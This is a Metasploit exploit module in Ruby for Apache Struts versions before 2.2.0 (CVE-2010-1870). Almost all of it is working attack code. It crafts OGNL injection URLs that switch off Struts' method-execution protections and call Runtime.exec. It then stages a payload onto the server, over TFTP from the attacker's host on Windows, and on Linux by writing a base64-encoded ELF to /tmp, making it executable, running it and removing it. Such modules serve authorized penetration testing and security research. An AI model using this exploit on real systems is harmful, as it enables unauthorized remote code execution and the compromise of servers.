##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Struts Remote Command Execution',
        'Description' => %q{
          This module exploits a remote command execution vulnerability in
          Apache Struts versions < 2.2.0. This issue is caused by a failure to properly
          handle unicode characters in OGNL extensive expressions passed to the web server.

          By sending a specially crafted request to the Struts application it is possible to
          bypass the "#" restriction on ParameterInterceptors by using OGNL context variables.
          Bypassing this restriction allows for the execution of arbitrary Java code.
        },
        'Author' => [
          'bannedit', # metasploit module
          'Meder Kydyraliev', # original public exploit
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2010-1870'],
          [ 'OSVDB', '66280'],
          [ 'EDB', '14360' ],
        ],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win',
              'CmdStagerFlavor' => 'tftp'
            }
          ],
          [
            'Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
        ],
        'DisclosureDate' => '2010-07-13',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', '']),
        OptString.new('CMD', [ false, 'Execute this command instead of using command stager', '' ])
      ]
    )

    self.needs_cleanup = true
  end

  def execute_command(cmd, _opts = {})
    uri = normalize_uri(datastore['URI'])
    uri = Rex::Text.uri_encode(uri)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(2)
    var_c = rand_text_alpha_lower(4)
    var_d = rand_text_alpha_lower(4)
    rand_text_alpha_lower(4)

    uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&"
    uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&"
    uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win'
    uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux'
    uri.gsub!(/CMD/, Rex::Text.uri_encode(cmd))

    vprint_status("Attempting to execute: #{cmd}")

    send_request_raw({
      'uri' => uri,
      'version' => '1.1',
      'method' => 'GET'
    }, 5)
  end

  def windows_stager
    print_status("Sending request to #{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}")
    execute_cmdstager({ temp: '.', tftphost: srvhost_addr })
    @payload_exe = generate_payload_exe

    print_status('Attempting to execute the payload...')
    execute_command(@payload_exe)
  end

  def linux_stager
    cmds = '/bin/sh@-c@echo LINE | tee FILE'
    exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
    base64 = Rex::Text.encode_base64(exe)
    base64.gsub!(/=/, '\\u003d')
    file = rand_text_alphanumeric(rand(4..7))

    execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
    cmds.gsub!(/FILE/, '/tmp/' + file + '.b64')
    base64.each_line do |line|
      line.chomp!
      cmd = cmds
      cmd.gsub!(/LINE/, line)
      execute_command(cmds)
    end

    execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
    execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
    execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")

    execute_command("/bin/sh@-c@/tmp/#{file}")
    @payload_exe = '/tmp/' + file
  end

  def on_new_session(_client)
    if target['Platform'] == 'linux'
      print_warning("Deleting #{@payload_exe} payload file")
      execute_command("/bin/sh@-c@rm #{@payload_exe}")
    else
      print_status('Windows does not allow running executables to be deleted')
      print_status("Delete the #{@payload_exe} file manually after migrating")
    end
  end

  def exploit
    unless datastore['CMD'].blank?
      print_status('Executing user supplied command')
      execute_command(datastore['CMD'])
      return
    end

    case target['Platform']
    when 'linux'
      linux_stager
    when 'win'
      windows_stager
    else
      fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end

    handler
  end
end
